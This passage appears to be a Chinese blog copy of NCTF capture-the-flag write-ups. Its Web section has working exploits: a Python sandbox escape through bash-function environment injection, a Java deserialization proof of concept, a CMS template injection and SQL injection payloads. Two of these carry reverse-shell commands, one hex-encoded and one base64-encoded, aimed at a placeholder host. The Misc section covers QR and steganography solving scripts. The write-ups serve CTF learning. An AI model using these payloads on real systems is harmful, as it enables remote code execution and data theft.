本文最后更新于 713 天前,其中的信息可能已经有所发展或是发生改变。
官方 wp,太菜了,基本不会,就没怎么做
Web
calc / calc_revenge
题解
- 预期
这个题是在p神写了那篇环境注入的文章后不久发现的一个利用。当时仔细想了一下其他语言中是否也存在这样的问题,有没有可能也造成rce。在看完python3的system具体实现后发现最后调用的位置,也是通过/bin/sh -c去执行的命令
- python 中将环境变量作为 dict 存储,
赋值/覆盖
达到目的
# 利用 for 循环赋值变量
a = 0
for a in [1]:
pass
print(a)
# a = 1
- 绕过空格过滤列表生成式
a = 0
[[str][0]for[a]in[[1]]]
print(a)
# a = 1
# 本地测试不通
# 字典可以
a = {'test': "aaaaa"}
[[str][0]for[a]in[[1]]]
print(a)
# a = {'test': 1}
- 添加环境变量
import os
# os.environ["TEST"]
[[str][0]for[os.environ["TEST"]]in[["testtest"]]]
print(os.environ)
# {"TEST": "testtest"}
- 绕过关键词设置环境变量
目标: os.environ['BASH_FUNC_echo%%']='() { id; }'
[[str][0]for[os.environ["BASH_FUNC_echo%%"]]in[["() { id; }"]]]
[[str][0]for[os.environ['BASH_FUNC_echo%%']]in[['() { id; }']]]
我们可以回顾一下python的ssti相关绕过的知识,只要是字符串通过引号包裹的都可以通过16进制去绕过关键词的检测,所以我们只需要把后面引号中的字符全部16进制编码就好
- 接下来的关键点就是在于如何绕过os的waf,这个关键词没有引号包裹无法用进制去绕过。
但实际上python是支持Non-ASCII Identifies也就是说可以使用unicode字符的,具体参考见: https://peps.python.org/pep-3131/ ,也就是说如果我们使用了UTF-8中的非ASCII码作为标识符,那么其会被函数转换为NFKC标准格式,也就是说我们可以使用例如ᵒ来代替o,从而绕过限制。所以在全部的碎片都被我们找到后我们就可以拼出这题的exp
[[str][0]for[ᵒs.environ['BASH\x5fFUNC\x5fecho%%']]in[['\x28\x29\x20\x7b\x20\x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x78\x78\x2e\x78\x78\x2e\x78\x78\x2e\x78\x78\x2f\x78\x78\x78\x78\x20\x30\x3e\x26\x31\x3b\x7d']]]
# 反弹shell:() { bash -i >& /dev/tcp/xx.xx.xx.xx/xxxx 0>&1;}
ezbypass
题解
- 根据 waf 名字查询
?id=@.:=right(right((select hex(password) from users.info where id =1 limit 0,1),1111),1111) union%23%0adistinctrow%0bselect@.
ezjava
题解
- 这个题是dubbo的原生利用,因为dubbo依赖自带fastjson,因为fastjson的toString可以触发任意的getter方法,然后使用unixPrintServiceLookup就可以rce
- 这个类中会判断打印机服务,我们一般的mac,linux存在打印机相关驱动的话会导致不走rce的if,但是在服务器类(特别是docker)一般没有该驱动,就会触发rce。然后前半段的验证其实是一个经典的密码学问题,dsa的签名问题。和CVE-2022-21449这个cve的原理差不多,没有检查关键变量是否为0,导致1,0可以直接绕过整个检测
- poc
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Token", "eyJBbGliYW5hbmEiOiJXZWxDb21lVG9OQ1RGMjAwcCIsImlzcyI6IlB1cGkxIn0=.1.0");
requestHeaders.set("Content-Type", "text/plain");
URI url = new URI("http://127.0.0.1:8080/object");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
public static void main(String[] args) throws Exception {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
Tools.setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
Tools.setFieldValue(unixPrintServiceLookup, "osname", "Pupi1");
String cmd = ";bash -c '{echo,YmFzaCAtaSA+Ji9kZXYvdGNwL3h4Lnh4Lnh4Lnh4L3h4eDwmMQo=}|{base64,-d}|{bash,-i}'";
Tools.setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
JSONObject jsonObject = new JSONObject();
jsonObject.put("Pupi1",unixPrintServiceLookup);
XString xString = new XString("Pupi1");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",jsonObject);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",jsonObject);
Object o = makeMap(map1,map2);
doPOST(Hessian2Serializer.serialize(o));
}
ez_java
题解
- CVE推送看到的CMS后台任意文件上传,简单看了一下发现前台可以直接RCE。
- 预期的做法是通过ajax.php的diy_save的文件写入,但是忘记修改cookie的默认密钥造成可以在伪造cookie后通过文件包含上传文件造成了非预期
- payload
/ajax.php?fun=diy_save&tpl_file=["aya/template/default/header.html"]&diy={"t":["t","b98ca3bae0de94438ac693d1a16b9ca5_0","{\"pars\":\"t\",\"name\":\"t',''}{system('cat /flag')}{\"}"]}
ez_sql
题解
- deno的day,和去年出的ez_sql有点像。
两个问题:
一是SQL语句build的方式。
二是参数注入后列名中会产生带有引号的不存在的列名。
SQLite where子句中的in()会被忽略,利用这一点可以解决第二个问题。
第一个问题通过源码不难发现在生成最终的SQL语句时,使用了?作为占位符,因此可以通过在列名中传入?造成注入。
- payload
http://81.70.155.160:3000/flight??=`in()%20union%20select%202333,flag%20from%20flag;
Misc
signin
题解
输入
上
上下下左右左右ba
,缩小字体,即可
qrssssssss & qrssssssss_revenge
题解
- 非预期解:时间排序后扫码再手动去除冗余数据得到大致的flag,然后爆破
- 预期:这题是通过二维码data-masking的顺序来排flag里字符顺序的,大致是:L0~7 M0~7 Q0~7 H0~7
- 搜了一大圈没搜到好用的脚本,于是手动写了一个识别的,具体就是识别右边标记位的黑白顺序然后比对一下
from PIL import Image
from pyzbar.pyzbar import decode
import os
def maskanalysis(img):
sign=''
for ii in range(510,670,20):
pi=img.getpixel((ii,170))
if(pi==0):
sign+='1'
if(pi==255):
sign+='0'
return sign
def scanqr(img):
decocdeQR = decode(img)
return decocdeQR[0].data.decode('ascii')
qrlist=os.listdir(r"C:\Users\16334\Desktop\qrssssssss_revenge")
flag=[0]*32
masklist=['11000100','11110011','10101010','10011101','00101111','00011000','01000001','01110110','00010010','00100101','01111100','01001011','11111001','11001110','10010111','10100000','01011111','01101000','00110001','00000110','10110100','10000011','11011010','11101101','10001001','10111110','11100111','11010000','01100010','01010101','00001100','00111011']
for i in qrlist:
img=Image.open(r"C:\Users\16334\Desktop\qrssssssss_revenge\{}".format(i))
qrmask=maskanalysis(img)
for j in range(32):
if(masklist[j]==qrmask):
flag[j]=scanqr(img)
print(''.join(flag))
炉边聚会
题解
搜索
炉
石传说编码规则
- exp
fflag=['10001100','00000110','10011110','00000101','11001000','00000110','10111100','00000101','11001110','00001001','11010000','00000101','11110010','00000111','11001010','00000111','11110100','00001000','10001000','00001001','10010000','00001000','10111110','00000110','10001000','00001001','11010110','00001000','11001100','00001000','11110010','00000111','10110110','00000111','10011110','00000101','11100000','00000011','11101000','00000111','11110010','00000111','10110110','00000111','10111110','00000110','11100000','00000011','11100000','00000011','11100000','00000011','10110110','00000111','10111100','00000101','10010010','00001001','11001100','00001000','11001100','00001000','11111010','00000110','10110110','00000111','11110100','00001000','10011010','00001000','10111010','00000100','10010000','00001000','10001000','00001001','11110110','00000100','11100010','00001001','00000000','00000000']
for i in range(40):
flag=fflag[2*i+1]+fflag[2*i][1:-1]+fflag[2*i][-1]
fla=int(flag,2)
fl=fla//10
print(chr(fl),end='')
pip install hearthstone
from hearthstone.deckstrings import Deck
deck = Deck.from_deckstring('AAEDAZoFKIwGngXIBrwFzgnQBfIHygf0CIgJkAi+BogJ1gjMCPIHtgeeBeAD6AfyB7YHvgbgA+AD4AO2B7wFkgnMCMwI+ga2B/QImgi6BJAIiAn2BOIJAAA=')
for card in deck.cards:
flag_part = int(card[0] / 10)
print(chr(flag_part), end='')
只因因
题解
zystego
题解
- 图片尾部有压缩包,爆破密码:114514
- 查看各通道,发现最后三列有问题,读取
from PIL import Image, ImageDraw
import struct
width = 515
height = 512
img=Image.open("fd.png")
a=[]
for i in range(height):
for j in range(width-3,width):
pi=img.getpixel((j,i))
for k in range(3):
a.append(pi[k])
print(a)
- 根据各数字只以
5 0
结尾,联想二进制
from PIL import Image, ImageDraw
import struct
width = 515
height = 512
img=Image.open(r"C:\Users\16334\Desktop\fd.png")
a=[]
for i in range(height):
for j in range(width-3,width):
pi=img.getpixel((j,i))
for k in range(3):
a.append(pi[k])
for i in a:
j=i%10
if(j==5):
print(1,end='')
else:
print(0,end='')
- 提取出来的二进制直接每8位转字符,就可以得到盲水印脚本以及pgp加密的口令
import secret
丁真 = np.float32(cv2.imread(r"C:\Users\16334\Desktop\fadian.png", 1))
for i in range(64):
for j in range(64):
芝士 = randint(0,2)
小马珍珠 = 丁真[:, :, 芝士]
雪豹 = cv2.dct(小马珍珠[8*i:8*i+8, 8*j:8*j+8])
if(secret[i*64+j] == '1'):
雪豹[7,7] = 20
elif(secret[i*64+j] == '0'):
雪豹[7,7] = -20
小马珍珠[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(雪豹)
丁真[:, :, 芝士] = 小马珍珠
cv2.imwrite(r"C:\Users\16334\Desktop\fd.png", 丁真)
#a gift for you : %$#%$#jhgasdfg76342t
- 还原脚本
from random import randint
import numpy as np
from math import *
import cv2
img = np.float32(cv2.imread("fadian.png", 1))
secret=open("secret.txt").read()
for i in range(64):
for j in range(64):
cho = randint(0,2)
imgch = img[:, :, cho]
dctt = cv2.dct(imgch[8*i:8*i+8, 8*j:8*j+8])
if(secret[i*64+j] == '1'):
dctt[7,7] = 20
elif(secret[i*64+j] == '0'):
dctt[7,7] = -20
imgch[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(dctt)
img[:, :, cho] = imgch
cv2.imwrite("fd.png", img)
- 大致就是先把原图分成若干
8x8
的块,然后在这个块上随机选择rgb
通道中的一个进行dct
变换,然后根据secret.txt
里是1还是0来改变dct
矩阵右下角的值,然后合并进原图,最后保存
import numpy as np
from math import *
import cv2
img = np.float32(cv2.imread(r"C:\Users\16334\Desktop\fd.png", 1))
for i in range(64):
for j in range(64):
for k in range(3):
imgg=img[:, :, k]
dctt = cv2.dct(imgg[8*i:8*i+8, 8*j:8*j+8])
if (dctt[7,7] >= 10):
print('1',end='')
elif(dctt[7,7] < -10):
print('0',end='')
- 由于dct逆变换会导致一些损失,所以判断的地方选择了与10和-10进行比较,将得到的结果转一下就能得到一个压缩包了
- 利用上面得到的pgp私钥和口令直接解密就可以得到flag
NCTF{zys_1s_s0_V3g3T@13lE_qwq}